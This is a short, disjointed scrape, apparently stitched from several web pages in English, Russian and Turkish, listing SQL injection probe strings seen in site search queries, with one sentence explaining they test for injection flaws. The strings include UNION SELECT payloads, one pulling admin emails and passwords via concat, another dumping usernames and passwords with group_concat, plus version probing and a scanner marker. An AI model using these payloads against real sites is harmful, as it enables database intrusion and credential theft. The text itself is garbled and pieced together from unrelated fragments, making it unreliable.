select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
На сайте искали: 999999.9'+unio n+all+sel ect+0x393133353134353632312e39,0x393133353134353632322e39+and+'0'='0 | m712 | lenovo%2520c2 | lg g2 | 2+g+8gb'&amp...
So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check the presence or absence of a sql injection.
...site.net/lt/y.php?t=999999.9'+union+all+select+0x31303235343830303536,(select+concat(0x7e,0x27,unhex(Hex(cast(a_admin.email+as+char))),0x5e,unhex(Hex(cast(a_admin.password+as+char))),0x5e
999999.9+union+all+select+%27R3DM0V3_hvj_injection',null
liseden mezun olduğum yıl, deneme+sınavı, tarih"+and+/**/cOnVeRt(int,(char(33)+char(126)+char
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
...9199'+union+select+ NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL